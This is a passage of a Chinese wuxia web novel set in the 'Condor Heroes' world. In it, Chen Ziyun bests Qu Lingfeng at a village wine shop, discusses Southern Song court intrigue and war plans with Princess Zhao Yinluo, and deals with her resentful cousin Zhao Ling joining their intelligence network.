也不用担心他们会不会污染教室的问题,但凡有一粒米饭掉在课桌上,他们甚至会毫不犹豫的用嘴舔起来。 所以在这里,陈子云完全没必要教他们什么粒粒皆辛苦的道理,他们比所有人都明白。 “今天还没有到日子,怎么有肉食?” 陈子云闻到了一阵肉香味,不由得问道。因为根据他给家里定下的规矩,私塾里只是每隔五天才提供一次肉食。 不是陈子云小气,而是过于平凡的肉食,难免会让这些心性未定的孩子出现一些不好的习惯。 “禀老爷,是郭杨两位爷,给府里送了两只野鸡来,说是给孩子们炖个汤。问过夫人的,她说就当是给娃儿们加个菜。” 仆人恭敬的回答。 “这样……也好,那你过会儿分菜的时候,先给孩子们说一下,这份恩虽然不大,但是要他们知道。” 陈子云道。 “知道了,老爷。” 在村子里,仆人自然不方便称呼陈子云跟赵茵萝为驸马爷跟公主,就索性称呼为老爷夫人。 等陈子云回到家中,发现赵茵萝似乎是在等着他。而且从她的眉宇之间,陈子云察觉到了一股不详的气息。 “重阳真人,羽化了。” 赵茵萝神情凝重的说道。 陈子云一愣,随即一叹。 “是啊,算算时间也差不多了。” “子云师傅,你知道?” “几年前,我上钟南山见他的时候就知道,一身的暗伤,还逞能要把全真教发扬光大。加上那几个不省心的徒弟,还有个顽童,老道能撑到现在也难为他了。 在华山的时候,我就看出他已经是强弩之末了。” “可明明重阳真人也会先天功啊,这样延年益寿的功夫,难道还不能……” 赵茵萝语气呜咽有些说不下去了。 “医者难自医啊。虽然王老道也是为了医治自己的暗伤才创出的先天功,可那时候他自己已经是积重难返了。 先天功虽然神妙,可也无法做到起死回生。” 陈子云透过窗台望向西南面的钟南山所在,朝着天上抬手三拜。 又过了几个月,一个自称曲三的瘸腿外来人在牛家村落户,在村长的引荐下,刚好把无力经营酒店的老抠搜的店铺盘了过来。 一开始村民们还怕酒店换了主人家,就再也喝不到在农村里喝的还算不错的酒了。 而当曲三自己酿的第一缸酒出窖的时候,所有去尝新酒的村民,都在埋怨,这该死的老抠搜怎么就不早点去死呢。 原来这酒跟以前老抠搜酿的酒一比,简直就是琼浆玉露啊。 不用说,曲三酿酒的本事让他一下子就在牛家村站稳了脚跟,有些父母直接就想把自己孩子送去当学徒的。 有些家里有老姑娘的也不嫌弃曲三是个残废,都要把姑娘介绍给他。 可惜,这位曲三本事大,脾气也大,不但不收徒,但凡有人上门说亲的一律都吃了闭门羹。 所以曲三的酒虽然是在村子里受欢迎,可这人缘就一般般了。 “店家,将我这葫芦打满。” 曲三本来正打算关门,却见一个酒葫芦从门缝里塞了进来。 “明天吧。” “店家,麻烦了,酒虫子从肚子爬到喉咙了,不喝怕是睡不着啊。” 曲三抬头看了一眼,月光下是个颇为不俗的男子。 曲三犹豫了片刻就从对方手里接过了葫芦,可随即他却又把葫芦给塞了回去。 “你是来寻开心的?” “店家,你这是如何说的?” “你不知道你的葫芦是漏的?” 曲三暗暗开始戒备,只是不知道这人是哪里来的人,是冲着自己来的吗。 “漏的,哪里漏了,店家你看错了吧。” 曲三摇摇头,不想再跟这个人瞎扯,就要关门。 “诶,店家,不管如何,你先给我打酒,要是漏了也算我的。” “走。” 曲三已经不想再跟这个人虚与委蛇了。 “真是个不讲道理的店家啊。” 随着这句话,曲三感到自己用手挡着,甚至还暗暗用脚尖顶住的门竟然被对方给强行撑开了。 第二百一十九章 戏耍 “你是谁!?” 曲三连忙往后跳一步,摆开架势防备着说道。 “谁,我是住在这牛家村的,来牛家村的酒店打酒,你却不认识我,反倒是问我是谁,你这个酒店老板当的可不合格啊。” 来人自然是陈子云,他这次也就是兴致来了,来瞧瞧这位桃花岛弃徒,也是最得黄药师看中的大徒弟的。 曲灵风打量着这个已经不请自进来的酒客,浑身看不出丝毫的戾气,但步履之间却透露着一种让他难以招架的威势。 这样的感受,他只在自己师父身上体会过。 “你说我的酒葫芦是漏的,不愿意给我打酒,那我就自己来。也让你看看,我这酒葫芦到底漏没漏。” 陈子云说着就走到了店铺中的酒缸旁,掀开封盖就闻到一股浓郁的酒香。 “不错,就这香头也不是那老抠搜的酒能比的。” 曲灵风听着这话,显现气的歪了鼻子,竟然拿自己亲手酿制的酒跟那些村里的廖糟比,这哪里是在夸他分明是在侮辱他。 陈子云撩起酒缸旁的酒吊,先是撩了一下酒缸里酒面上的些许浮渣,再轻轻把酒吊摁下,然后迅速打起慢慢一吊子酒。 这样打的酒,即没有上面的漂浮物,也没有缸底的沉淀渣滓。 曲灵风一看对方这动作,也知道对方确实是个懂行的酒徒。 陈子云略微歪斜酒吊,酒液成了一条细细的酒线精准的落入酒葫芦的小口中。 曲灵风瞪大着眼睛看着,他吃惊的当然不是陈子云稳重与精准的打酒,这样的技巧就是一般的卖酒老翁也能熟能生巧。 他惊诧的是这底下接着酒液的葫芦,他刚在在接触到这个葫芦的瞬间,他就能肯定,这个酒葫芦底下确实有一个小小的漏洞。 有漏洞的葫芦怎么可能装的住酒,曲灵风在陈子云的两只手上来回扫视,确定对方没有第三只手去捂住那个漏洞。 曲灵风不由得有些泄气,作为黄药师的大弟子,不说尽得师父真传,可他对于这世俗之人向来是看不上的。 也是难怪,跟黄药师那般骄傲的人待在一起,要么就是被对方压的抬不起头,要么就学着跟他一般骄傲,曲灵风显然是后者。 当看着陈子云打满整个葫芦,还将葫芦重新盖上,也不见半点酒从葫芦底下漏出来,骄傲如曲灵风也不由得有些泄气了。 “你到底是如何做到的?” 曲灵风虽然骄傲,但是同样有一颗装满着求知欲的心,要不然也不会跟着黄药师学了那么多七七八八的东西了。 “如何做到?” 陈子云笑笑。 “告诉你也可以,不过你先跟我讲讲桃花岛以及黄药师如何……” 陈子云的话还没说完,曲灵风的拐杖却是已经先攻过来了。 陈子云只能挥手阻挡。 “落英神剑,还行。” 曲灵风见一招不成,退后半步,同时虚空辟出一掌。 “劈空掌,你这个年纪,功力到底还是欠积累的,如今只是虚有其表。” 陈子云右手小指头轻弹。一指最是柔和的春分,就将劈空掌的劲道化解了。 曲灵风本来见陈子云不能力敌,已经打算暂避锋芒了,可听到对方对于桃花岛的武功如此评价。 向来将黄药师奉若神明的他,如何还能容忍自己后退半步,一招桃花岛入门功夫的碧波掌法猛然轰出。 碧波掌法,掌势如波,重重递进,虽然浅近,却已含桃花岛武学的基本道理。这也是曲灵风练的第一门武功,也是他最为熟稔的武学。 而如今曲灵风自知不敌,已经放弃了胜负之争,只是将全身的劲道都集中到这一掌之间,就算被对方一指穿喉,也要将这一掌拍在对方身上。 曲灵风这愤然之间的全力出手,已经有丝丝波涛之声,却是意外的将着桃花岛的入门掌法演绎出了真正的碧波拍岸,柔中至刚的境界。 曲灵风用自身的内劲迭起的重重浪涛,就这般不顾自己粉身碎骨的气势狠狠的朝陈子云拍下。 “有点样子了,黄药师教徒弟的本事,当真不差。” 陈子云虽然这样的夸着,可那早就等在那里的一指,还是毫厘不差的点在了曲灵风似乎是自己送上来的掌心上。 噗通一声,就好像是一颗顽石打碎了湖面,扰乱了波涛。 曲灵风瞬间的感觉怪异极了,并没有什么剧烈的痛苦,只是手掌中有点些微刺痛。可自己那积蓄了自身十二分力道的一掌,却变得像是柳絮一般的轻飘了。 好似那些力道就是一个气球,被陈子云这一根手指一扎,里面充满的气体瞬间就回到了空空如也之中。 直到陈子云自顾自的在一张酒桌前坐下,又拿下一张已经被曲灵风翻上桌子的板凳。 “过来,陪我喝一杯,顺便说说黄药师的境况。” 陈子云将盖在桌子上的酒碗翻下了两个,各自倒上一杯酒。 曲灵风念头在他灵动的脑海中连连闪动。这位难道是恩师的旧识,如果是仇敌,凭他的功夫,大可以把自己制服后逼问。 那我就先跟对方虚与委蛇一番,要是这人漏出一丝对恩师不利的念头,就算自己拼个一死,也要溅他三两血。 曲灵风在心里下定了决心,面上却是一改刚才苦大仇深的摸样,反而撑起了笑脸。 “前辈,刚才是晚辈鲁莽了。晚辈自罚一杯,还请前辈见谅。” 曲灵风一口就将陈子云倒好的酒喝了下去,还将酒碗亮给陈子云看了一眼。 陈子云看着面前邋里邋遢的曲灵风也不说话,只是拿起酒葫芦又往对方的酒碗里倒了一杯。 曲灵风先是疑惑的看了陈子云一眼,随即再次面露笑容。 “是了,晚辈实在失礼至极,一碗酒怎么能够,再敬前辈一碗。” 曲灵风再次一饮而尽。 陈子云再次给曲灵风的酒碗满上。 曲灵风喝下前面的两碗酒之后,脸上也是见了红了,他对自己酿的酒可是清楚的很。 这酒要是慢慢的喝,那真是越喝越有滋味,可要是如他现在这般的急着喝,那一般人基本都过不了三碗。 第二百二十章 南帝禅位 要不是曲灵风心中肯定,对方的本事不需要耍什么花招也能轻易收拾自己,就要怀疑对方是不是想借机将自己灌醉了。 “前辈?” 不过曲灵风觉得自己这碗酒能不喝还是不喝的好,或者拖一段时间再喝,不至于真的把自己给醉倒了。 “怎么,黄药师的大弟子就这点机灵劲,还没看出我这葫芦中的玄奥?” “……” 陈子云的这句话,顿时就彷佛是让曲灵风连喝了三碗酒,不但整张脸红的像个未出阁的小姑娘看见了风流,连好好坐在板凳上的身体也开始摇晃了。 “哈哈哈,黄药师啊,黄药师,你也不过如此。” 陈子云哈哈哈大笑道。 这句话就像是天底下最好的解酒药,起码对于曲灵风是如此。 只见他左手捏拳狠狠的抵住卓沿,右手则是四指扣紧衣袖,这是准备发暗器的先手。 “还请前辈万万勿辱及恩师,否则曲灵风就是再技不如人,也当拼死以报师恩。” “蠢货。” 陈子云低声喝道。 “你以为就黄药师的性格,他需要他的弟子来给他出头,他会在意别人对他的评价。还是你觉得,我把你的尸体带给他,他会追封一个桃花岛杰出弟子的牌匾给你?” “你!” 曲灵风大为意外。 “哼,黄药师难道就一点都没有跟你提及过,这世间有一种指法不输他的弹指神通,有一把小刀,让你们见了就要退避三舍的?” 陈子云一边用三根手指夹起自己的酒碗,一边说着。 “指法?难道是一阳指?小刀?不对,白发,你是……“ 曲灵风显然是想起了黄药师在某次神色严厉的提点中的那个形象。顿时激动的直接站起了身子,连手中的拐杖都没有拿稳。 “怎么,跟黄药师说的不像,他是如何描述我的?” 陈子云将喝了半碗的酒放下。 “像,像,像,像极了,可是前辈的年纪?” 曲灵风自然是认出来了,可陈子云脸面上的展现出来的年纪如何能让他相信,对方竟然是跟自己师父一个层次的人物。 “怎么?黄药师把我说的很老吗?” “不,自然不是,只是……” 曲灵风在瞬息之间就找到了给自己师父打圆场的话。 “只是在恩师的形容中,您是傲视苍穹的人物,晚辈如何能想到,会在这般的小野村遇到您。” “呵呵,傲视苍穹,我可不敢,他黄药师倒是傲得很。“ 陈子云瞥了一眼颤巍巍站立着的曲灵风。 “好了,言归正传,我也就是无意中发现你身上有桃花岛的武功底子,才来询问一番故人的情况,你要是不想说也不勉强。” 陈子云说着就要起身。 “前辈何出此言,只是晚辈如今已经被恩师逐出桃花岛,没有恩师许可,实在是不敢透露分毫。“ 曲灵风这次倒是说的实情。 “也罢。” 陈子云起身摇头。 “见你这幅摸样,想来桃花岛上也好不到哪里去。” 陈子云自然是知道如今的桃花岛的境况的,黄药师被自己的弟子背叛,偷了九阴真经,还累的自己夫人难产。 他自己又发疯一般的将所有弟子都断腿之后逐出桃花岛,要不是有个刚出生的女儿要抚养,说不得他们这剩下的天下四绝里,最先疯的就不是欧阳锋了。 “前辈你的酒壶。” 曲灵风拿起陈子云留在桌子上的酒葫芦,就想追上去,结果却发现对方已经没了踪影。 “留着吧,你就不想研究一番,为何这酒葫芦底下有洞,还能盛酒。” 陈子云的声音却是清晰的传入曲灵风的耳中,这可就真的是只闻其声不见其人了。 如此内功造诣,与他师傅的碧海潮生曲想必恐怕也不相上下了。曲灵风心中更加确认了陈子云的身份,也愈发觉得对方的深不可测。 戏耍了一番这个黄药师的大弟子,也算是出了一口早就看不惯黄药师那高傲嘴脸的闲气了,陈子云自然心情大好。 “南边传来消息,不知为何大理国主,突然禅位了。那位段智兴段王爷,我们在华山上见到的时候,可不是一副无力的摸样。 怎么就这两年不到的光景生了这么大的变化,竟然让他放弃者至尊之位,难道是突然染了什么恶疾?” 赵茵萝猜测道。 “呵呵,恶疾倒是也说的不错,不过这位段王爷的恶疾不在身上,在心上就是了。” 陈子云一算时间,确实也是到了南帝成南僧的时间了。 如今死了中神通,南帝北丐东邪西毒的境遇差不多也是齐了。 赵茵萝柔柔的注视着陈子云,她对于自己这位相公师傅的先知能力基本已经免疫了。 也不再追问,为什么连子虚都没有打探到的内情他会知道,要是陈子云想说,自然不会瞒着她。 陈子云笑笑,挽着赵茵萝的胳臂进房。 大致的跟她说了一遍,关于周伯通、瑛姑和段王爷之间的情感纠葛。 “竟然有这样荒唐的事情。” 赵茵萝眉目紧皱。 “本以为那个周伯通不过是个没长大的顽童,却做出了这般恶事,实在该杀。” “哦,茵萝认为周伯通该死?” 陈子云饶有兴致的问道。 “自然,虽然不知道为何段王爷会如此大度。可国法就是国法,要是在大宋,别说是周伯通要死,就是整个全真教都要陪葬。 这跟段王爷与王道长的交情无关,而是关于天下安定的大事。 要是有人这般的触犯官家威严还不严惩,这朝堂如何能稳,天下如何你能安?” 赵茵萝言辞狠厉的说道。 陈子云也是点头认可,这对于宋朝来讲,确实是罪不可赦的。 可这位段王爷,其实对于作为大理国主,更像是一个江湖人物,所以才会将朋友义气放在国家礼法之前。 要是换成任何一个皇帝,自然不可能容忍这样的事情发生。 可千万别以为什么女人如衣服,兄弟如手足就是英雄豪杰乞丐。要是有手足敢动自己衣服,多数男人的选择是先砍了手足,再烧了衣服。 “而且,这个瑛姑也太不知廉耻了。身为贵妃竟然敢在宫廷中私自接触其他男子,还隐瞒自己身份与他人产子。 难道她不知这样的罪过是要凌迟,甚至祸及三代的吗。 竟然还好意思去向段王爷求救,实在是恬不知耻。” 赵茵萝愤然说道。 第二百二十一章 王道乾 “还有这个段王爷,身为一国之主,竟然为了一个女……” “好了好了,茵萝到此为止吧。” 陈子云制止了还要发表言论的赵茵萝。 其实陈子云的观点虽然不至于像赵茵萝这么激烈,可就算是作为一个现代人,知道自己老婆跟自己朋友搞一起了,那也是有那种愤然出刀的人物的。 而段智兴作为一国之君,发生这种事情的对他的羞辱何止是百倍于常人。陈子云实在是想不通他到底是念了多少遍金刚经才能将这样的委屈与愤怒给按下来的。 难道就因为大理的崇佛,连皇帝都念佛念的四大皆空,无悲无怒了! 不过这种事情终究只是想想,他们这些外人自然是无权指摘的,陈子云在华山上的提醒就是他能做到的极限了。 不过要是以后还能碰到周伯通跟瑛姑,出手教训一番,给自己求个念头通达到也不是不可以。 “临安那边有什么消息吗?” 陈子云问道。 “嗯,如今我已经让子虚的人遍布临安了。那些重要的官员身边基本都配备了身手过得去的人物。 就算敌不过江湖高手,但是起码不会让人无声无息的就潜入宅邸。” 赵茵萝说的时候眉头有些紧锁。 毕竟,她是知道宋宁宗让陈子云成立的子虚的目的是为了监察江湖人物的。如今他们却在暗地里监视朝廷重臣,这要是让宋宁宗知道了,难免引起他的猜忌。 虽然她自己凭着爹爹的恩宠,行事上出格一些也不会被怪罪,但赵茵萝如今也不是那个完全不理会朝廷大事的小公主了。 那份埋藏在心里的,暗暗生根的野望,让她对于宋宁宗的态度总是生出了一些潜移默化的变化。 “嗯,王道乾这个人找到了吗?” 陈子云问道,在他的记忆里,射雕的开端,或者说郭杨两家的祸事就是因为丘处机杀了这个王道乾开始的。 “倒是找到了,可这个人……” 赵茵萝有些欲言又止。 “怎么了?” 陈子云不解的问道,两人之间基本是没有什么不能说的。 “这人一个月之前还是一个礼部小官,如今却是已经在礼部第三把椅子上了。” 赵茵萝神色有些怪异的说道。 “嗯?” 陈子云大为诧异,这升官的速度有些恐怖了,怕是有什么大人物在后面操盘啊。 “是韩侂胄?” 陈子云看赵茵萝为难的摸样,瞬间明白了,能让她难以启齿的对象,除了韩侂胄还能是谁。 “这倒是有意思了。” 陈子云轻笑道。 “也许是大哥有什么计划,或者是礼部的掌控……” 赵茵萝在给自己的大伯找理由。 “好了,茵萝,我们之间不用这般。你看我是怎么说你爹爹的,你当然也可以坦诚的说出对韩侂胄的想法。” 陈子云一脸无谓的说道。 “嗯。” 赵茵萝只能点点头,可也不至于立马就改口说韩侂胄这是擅权专政的行为。 “也好,我们也有段时间没有回临安了。我找他问问,这颗棋子他到底是要往哪里落去。 茵萝,你进宫的时候也问问你爹爹,就说你发现村子附近有好多野物,能不能从兵库里调几把上好的军弩给你。” 陈子云思索了一番,嘱咐道。 “军弩?子云师傅,你是说,他们准备……” 赵茵萝读出了陈子云话语中的含义,这明显是在试探宋宁宗是不是在准备武备军械啊。 但凡在这个关键时刻,赵茵萝突然在宋宁宗面前提到军弩这个关键词,要是如陈子云所料,必然是会有一种被人窥破的惊厥。 以赵茵萝对于宋宁宗的了解,就算对方再如何掩饰,也绝对逃不过她的眼睛。 这就是赵茵萝这些年作为宋宁宗唯一贴身小棉袄的优势,对自己这位爹爹的脾气,性格自然是了如指掌的。 “不错。前面我们也分析过了,关于岳将军与秦桧的事情,就很可能是韩侂胄跟你爹爹打击主和派的先行手段。 而到如今,基本上算是卓有成效了。不仅是朝堂上如今气势正宏,就这民间的反应你也应该得到不少消息了吧。” 陈子云道。 “不错,自从子云师傅你让我留心民间动态之后,这一年来,民众之间已经一边倒的要给岳将军翻案了。 有些激进些的,甚至自己给岳将军建立了庙宇进行祭拜。” 赵茵萝道。 “是啊,如今已经到了民心可用的地步了。那在正式的开启那一场大战之前,你说他们还想做的是什么?” 陈子云微微抬头看着夜空说道。 “如果按照子云师傅所预料,这些年来爹爹跟大伯已经在暗中准备战事,那此时军备必然是已经完成了大半,而如今大宋国内声势也已经具备。 那自然是想着要确切的了解,如今的金庭到底是何种实力,我们能不能一鼓作气,或者是进取几分。” 赵茵萝道,她眼中目光也是闪烁不断,显然也是在思索,这些事情是如何布局的。 “不错,知己知彼,虽然不一定能胜,但想胜,却必然是要做准备的。而要知道对方的底细到底如何,自然少不得从各种方面了解对方。 可以从金庭要求的岁贡中了解他们的需求,从派出的各个暗探口中知道金庭的朝政,也可以知道些大概的军队布置。 相信经过这些年的布置,如今大宋最缺的就是一样东西,可知是何物?” 陈子云问道。 “何物,何物?” 赵茵萝竭力的运转着自己的脑力。 “是对付金庭铁骑的方法?” “嗯,接近了,不过这是军队的任务,不是领导者应该是关心的。” “是金庭的军队能及时调动的数量,武力?” “差不多了。我猜测,可能那两位有个比较大胆的想法,那就是先小范围的跟金庭打一仗。 毕竟不论是金庭的军队,还是大宋的军队,只有打过了才知道,如果开启国战能不能打得过。 而且对于大宋的军备,想来茵萝你也是有耳闻的。自从太祖开始就一直在限制武人对于朝廷的影响力。 要说如今大宋的军队,还有当年平定各国的威风,那是不可能的。 我估计韩侂胄跟你爹爹也是捧着各地秘密送上来的军情折子发愁。不信他们吧,又没有办法验证,信这些折子吧,估计自己下意识的都觉得不可能。“ 陈子怡说道这里摊开手耸了耸肩,对于南宋的军备他也就只能如此了。 第二百二十二章 猜测 “子云师傅,难道我大宋已经真的到了这步田地了吗?” 赵茵萝其实心里也是明白的,这段时间从民间收集来的可不单单是关于岳飞跟秦桧的信息。 各地民生,官吏的作为以及军队的大致情况,其实赵茵萝心里都有个大概。只是作为南宋的唯一公主,不想承认这听着有些匪夷所思的境况罢了。 至于什么军官腐败,克扣士兵粮饷以及肆意驱使士兵为自己谋私利,这些不过是历代军队都有的通病。 其实在赵茵萝心中,大宋军队最大的危险,在于赵宋立国的根基国策。当时赵匡胤就是以军人身份篡位的,对于带兵将领自然是防范至极。 这才有了所谓的杯酒释兵权的桥段,其实不过是自己心虚,怕手下的将领重演黄袍加身的故事罢了。 而随之诞生的中央集权的兵制。 枢密院为最高军事领导机关,掌军权及军令;三衙,即殿前都指挥司、侍卫马军司和侍卫步军司,为中央最高指挥机关,分别统领禁军和厢军;率臣,为禁军出征或镇戍时临时委任的将帅,统领地分属三衙的禁军,事毕皆撤销。 “兵符出于枢密,而不得统其众;兵众隶于三衙,而不得专其制。”枢密院有调兵之权,却不掌管军队;三衙掌管军队,却无调兵之权;遇有战事,由皇帝任命率臣领兵出征,从而实现了发兵之权”与“握兵之重”的分离。这种体制对于消除中唐以来绵延200多年藩镇割据的局面,确实起到了重大作用。 这样的安排,自然是稳固了皇朝的统治,可同时也弱化了军队的战斗力。到了战争来临之际,就成了将不知兵,兵不知将的尴尬局面。 可这样的沉疴就算是知道其中的毛病,又如何是一下子就能消除的。 就算宋宁宗跟韩侂胄再有力王狂澜之心,可那每一步的变动都牵扯着整个朝堂的利益。 要是一个不小心,恐怕这弊病还灭还有改善,这南宋的朝堂却先散了。 所以历史上才会有那么些本事不小的名臣,宁可做个皇朝的糊裱匠,也不敢肆意妄为的大肆改革。 古往今来那些励志变革的名臣不是没有,甚至不少,可有哪个是真正成功的。 不说远的,就说神宗的熙宁变法,有王安石这样的人物操盘,后面还不是一样全部被翻盘。 难道这怪王安石不得力,还是神宗不够支持。 都不是,而是没有人会愿意看着自己眼前的利益被夺走。就算你许诺在之后会给与相同的利益,甚至更多。可就算如此,人们也会因为对于未来预期的不可控而不愿意做出改变。 按现在的话说,那就是任何一场改变,你要面对的是所有的在现在的旧环境下所有既得利益者的对抗。 每每想到此处,赵茵萝就不得不对大宋朝的前途暗淡而忧心忡忡。 “茵萝,你现在也不用想太多,天下本来就是分分合合,哪里有百世不断的王朝。 大宋到如今,粗算一下国祚也有近两百五十年了,走向没落跟衰亡是历史的必然。 这一点,对于饱读史书的你想比也是不难理解的。 至于说朝堂的弊病,那也不是一处两处就能说得清的,尽人事即可。” 陈子云道。 “子云师傅,我知道的。可这些事情真发生的时候,茵萝终究也是没法像看史书一样看自家的皇朝没落下去。 难道就没有法子,学光武中兴那般,再给大宋延个两百年吗?” 赵茵萝焦虑的说道。 “哈哈哈,茵萝如果有当光武刘秀的志向,那我自然是支持的。” 陈子云笑着道。 “啊,不是,我不是这个意思。” 赵茵萝连忙解释,汉朝光武是何等人物,哪里是她能够高攀的。 “茵萝无需如此,刘秀也是人,又不比我们多个脑袋多条腿,他的起点可没有你这般好。 他行,你为何不行。 不论学识还是武功,我想刘秀都是不及你的。 现在无非是你比他少个能乘势而起的机会罢了,但是这次,如果我们能好好利用一番这个王道乾,说不得就有这个机会了。” 陈子云眼中透露出一些看着就叫人心惊的目光。 “可……这……” 赵茵萝显然还是没有做好准备。 “不用多想,我们无非是跟在你爹爹跟韩侂胄的计划后面捡个便宜而已,说不得他们的计划想要实施,还要我们保驾护航呢。 起码,这个王道乾不能让他死的不明不白。” 陈子云如此安排,自然是在提防丘处机这个江湖人乱入朝堂的事情。 这个故人的弟子,真是不知道哪里来的胆子,就算是王重阳在世的时候,都不敢轻易插手世俗王朝。他一个半路出师的不肖弟子,竟然敢犯这个大不韪的禁忌,实在是肆意妄为,全然不像个出家修行的。 “这个自然,我已经将地部最得力的三人都派出去盯着他了,不管是谁来,都不可能轻易得手。” 赵茵萝道。 “这样就好,算算时间也快到雪天了,多加注意啊。” 陈子云当然知道,丘处机到来的那是一个雪夜。 第二天,他们两人就分别去了韩府与南宋宫廷。按照计划,陈子云自然是先找了韩侂胄谈了谈,没有直接点出他猜到了韩侂胄跟宋宁宗的大致计划,只是旁敲侧击的询问了一番关于现在朝堂对于金庭的态度。 这种事情,本来就是一打听就知道的,韩侂胄自然也不用跟陈子云保密什么。 而陈子云呢,也从对方的言语与神态之中,大致验证了自己的猜想。 能让韩侂胄这个向来稳重的宰相,表现出一种含而不露的激动神色,必然是 在天大的事情上有了相当的进展。 而对于此时的南宋,算的上大事的,无非就是跟金庭的关系。 当陈子云假意说道,最近在临安闲得很,想去看看北国风光的时候,韩侂胄直接就抓住了他的手臂,坚决的不同意他在此时出行。 后面的话就不用再说了,有这般的反应,必然是南宋与金庭要有一战,边境即将不稳了。 第二百二十三章 赵令 等陈子云再次与赵茵萝见面时,只见她后面跟着几个人,带头的一个是身穿宫廷侍卫服装的男子,陈子云依稀之间觉得自己应该见过对方。 “卑职见过驸马爷。” 陈子云点头还礼。目光自然是看向了赵茵萝,此时的赵茵萝满脸的铁青。 “这位是赵令,是我父皇的侍卫统领。” “公主说错了,我现在已经不再是陛下的侍卫了,陛下既然让我帮着公主管理子虚,赵令以后自然是子虚的统领。” 这位眉宇间全然都是傲慢的年轻人,浑然不在意自己的言辞是不是会让赵茵萝跟陈子云不舒服。 赵茵萝直接怒视着对方,虽然她的不满已经表现在了脸上,可赵令似乎并不放在心上,由此可见这位肯定不是一般的侍卫统领。 姓赵,怕是皇族出身,看赵茵萝的态度,说不得这位还是以前就很熟悉的人,而看对方的年纪,说也许就是一起长大的儿时伙伴。 陈子云饶有兴趣的看着这位赵令。 “哦,那赵统领,陛下是让你负责子虚的哪一方面?” “陛下只是说让我辅助公主,好好管理子虚,在监察江湖的同时,也要监管下属,省的有些不懂规矩的人胡作非为。” 赵令昂着脖子说道。 “那也就是说,陛下并没有直接指定子虚的职务给赵统领?” 陈子云微笑这道。 赵令终于低下了他那高傲的头颅,有些不悦的看着陈子云。 “那又如何?” 陈子云笑笑便不再理会他,直接拉着赵茵萝的手就往房间里走。 “子云师傅?” 赵茵萝轻声问道。 “你们以前认识很久了?” 陈子云问道。 “他是另一支的一位皇叔的长子,不过从小就在宫里长大。” 赵茵萝有些忐忑的说道。 “那就是青梅竹马了,呵呵呵。” 陈子云笑道。 赵茵萝瞬间就僵住了,急忙解释道。 “子云师傅,你可别多想,虽然关系已经很远了,可他毕竟是我同宗的哥哥,怎么可能。” “哈哈,茵萝不必紧张,我只是见他看你目光有些特别而已,也许是我想错了。” “必然是子云师傅看错了,要是他……我就让爹爹……” “不必如此,只不过是一个大男孩小时候的情感依恋选错了对象而已,不是什么大罪过。” 陈子云本来就有些把赵茵萝当闺女养的意思,自然不会介意有人喜欢她。 赵茵萝见陈子云如此说,自然是松了一口气,可心里暗暗的想着,一定要把赵令赶紧找个理由给爹爹退回去。 不管他是不是真的对自己有不论之情,光光子虚,她就容不得别人插手。 “把东西放下,赵令你先回去。” 当赵茵萝看见赵令还没有离开的意思,于是冷着脸说道。此时陈子云已经进了房间,自然也就不用担心自己表现的太绝情会被误会。 “茵萝,你……你怎么这么说话!” “赵令,注意你的身份。” 赵茵萝柳眉竖立。 “茵萝,我们可是从小一起长大的,你以前可从来都没有这般的对我,你总是那么的温柔。 是不是那个家伙,是不是他教你这般对我的?” 赵令神情激动的说着。 赵茵萝深吸一口气,脑海中也依稀的闪过小时候与赵令相处的时光,可随即就压了下去。 “赵令,你我同宗,在小时我可以称呼你为堂哥。但是如今我们都以长大,你作为侍卫统领,而我也是已经出嫁的公主。 自然应该以礼仪尊卑为先,个人私交在后。 所以,赵令,希望以后你还是称为我公主,或者用子虚的地后身份称呼我。” 赵令嘴唇微微颤抖的看着眼前这个自己本来最是熟稔的人。 有些不可置信,也有些被背叛的羞怒。 他刚刚还为了被宋宁宗派到赵茵萝身边而高兴,这会儿却是遭受了这般的打击。 “是他,一定是那个姓韩的混蛋。早就听在朝为官的同宗讲过,韩侂胄如今就是个彻头彻尾的权臣,把控朝政,还肆意打压他们赵氏。 连皇帝陛下都被他的花言巧语迷惑了,竟然做出让宗族心寒的事情。 而这个韩家老二,自然是与他大哥一般的。 赵令此刻甚至怀疑,这位韩家老二之所以要娶公主,就是为了从他们赵氏内部搞破坏,好让他们韩家达成那些不可言说的目的。” 赵令在心中恨恨的想到,可以正因为如此,他此时更加不能跟公主殿下闹起来。万一公主殿下真的让陛下收回成命,那他就再也没有这么好的机会,去接近这个男人,挖掘他的秘密了。 “既然赵令以后是子虚的统领,那自然是称您为地后。” 赵令的语气还是有些颤抖,但终究是忍下来了。 赵茵萝有些疑惑的看了这个儿时的堂哥一眼,在她映像中,对方可不是能受委屈的人。 看来改变的不单单是她自己,赵令也成长了,她对于此倒是喜闻乐见的,毕竟同为赵宋皇氏,有个有能力的年轻人自然是好事。 “既然如此,那你以后就负责玄部的事宜,负责整理各处收集来的江湖情报,也能让你尽快的熟悉子虚的要义。 但是,赵令,我丑化说在前头。 第一,不得再以我们儿时的身份来说事。第二,要是你在玄部表现不佳,就算爹爹不高兴,我也会依旧把你送回宫里。 你明白了吗?” 赵茵萝严肃的说道。 “是。” 赵令几乎是咬着自己舌头吐出的这一个字。 “地后。” “好,这是玄字令,你拿着令牌去找一个叫裴靖的人,他如今是临安玄部的负责人,他会帮你更快捷的熟悉玄部的职责的。” 赵茵萝说着就将一块令牌抛给了赵令。 赵令一把结果令牌,也来不及细看,即可转身就走。 要是再在公主府里待下去,他怕自己终究会忍不住在赵茵萝面前显现出各种不满的情绪来。 第二百二十四章 裴靖的难题 至于赵茵萝口中的裴靖是谁,作为临安城里青年中的顶流人物,只要这个人在临安,就没有他赵令找不到的。 而且自己竟然接手了子虚玄部,那这帮子本来就是负责搞情报的,难道不是应该主动的找上门来问候自己这个顶头上司吗。 这般想着,赵令嘴角却是露出一抹在临安难得的冬日暖阳里也显得阴森的笑意。 …… “安排好了?” 陈子云对着刚进门的赵茵萝问道。 “嗯,子云师傅,我暂时把赵令先安排在玄部做统领。没有事先跟你商量……” “这些小事,你自己看着办就是了。” 陈子云抬手打断了赵茵萝的解释。 “嗯。” 赵茵萝有些愧疚的点点头。 “我想着,如今玄部只是负责江湖上的消息,就算是赵令接手了,也不会过多干涉子虚的真正核心。 如今黄部已经深入民间,就算是玄部的人也不知道哪些是我们真正的跟脚。 而且有裴靖这个玄部的老人,又是衙役出生,应该能够应付一段时间赵令。 等赵令犯了错,我就立刻向爹爹请示,将他调回去。” 赵茵萝还是将自己的想法解释了一遍。 “嗯,考虑的不错。” 陈子云只是点点头。 “不过现在要紧的事先过来吃饭,我让厨房做了些红枣粥,冰糖是按照你的口味调的,来试试合不合口。” 陈子云将温在汤碗里的粥盛出一碗,递给赵茵萝。 